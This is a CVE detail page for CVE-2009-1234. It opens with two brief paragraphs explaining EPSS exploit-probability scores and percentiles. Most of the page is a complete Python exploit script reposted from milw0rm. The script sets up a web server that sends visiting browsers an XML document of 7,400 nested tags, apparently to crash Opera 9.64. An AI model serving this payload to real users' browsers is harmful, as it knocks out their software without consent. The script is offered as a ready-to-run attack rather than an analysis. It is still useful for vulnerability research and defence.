CVE-2009-1234 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# # Author : Ahmed Obied ([email protected]) # # - Similar to the bug found by Wojciech Pawlikowski for Firefox # -> http://www.milw0rm.com/exploits/8306 # # - Tested using the latest version of Opera (9.64) # # Usage : python opera.py [port] # import sys, socket from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class RequestHandler(BaseHTTPRequestHandler): def get_exploit(self): exploit = '<A>' * 7400 exploit = '<xml>' + exploit + '</xml>' return exploit def log_request(self, *args, **kwargs): pass def do_GET(self): if self.path == '/': print print '[-] Incoming connection from %s' % self.client_address[0] print '[-] Sending header to %s ...' % self.client_address[0] self.send_response(200) self.send_header('Content-type', 'text/xml') self.end_headers() print '[-] Header sent to %s' % self.client_address[0] print '[-] Sending exploit to %s ...' % self.client_address[0] self.wfile.write(self.get_exploit()) print '[-] Exploit sent to %s' % self.client_address[0] def main(): if len(sys.argv) != 2: print 'Usage: %s [port]' % sys.argv[0] sys.exit(1) try: port = int(sys.argv[1]) if port < 1 or port > 65535: raise ValueError try: serv = HTTPServer(('', port), RequestHandler) ip = socket.gethostbyname(socket.gethostname()) print '[-] Web server is running at http://%s:%d/' % (ip, port) try: serv.serve_forever() except KeyboardInterrupt: print '[-] Exiting ...' except socket.error: print '[*] ERROR: a socket error has occurred ...' sys.exit(-1) except ValueError: print '[*] ERROR: invalid port number ...' sys.exit(-1) if __name__ == '__main__': main() # milw0rm.com [2009-03-30]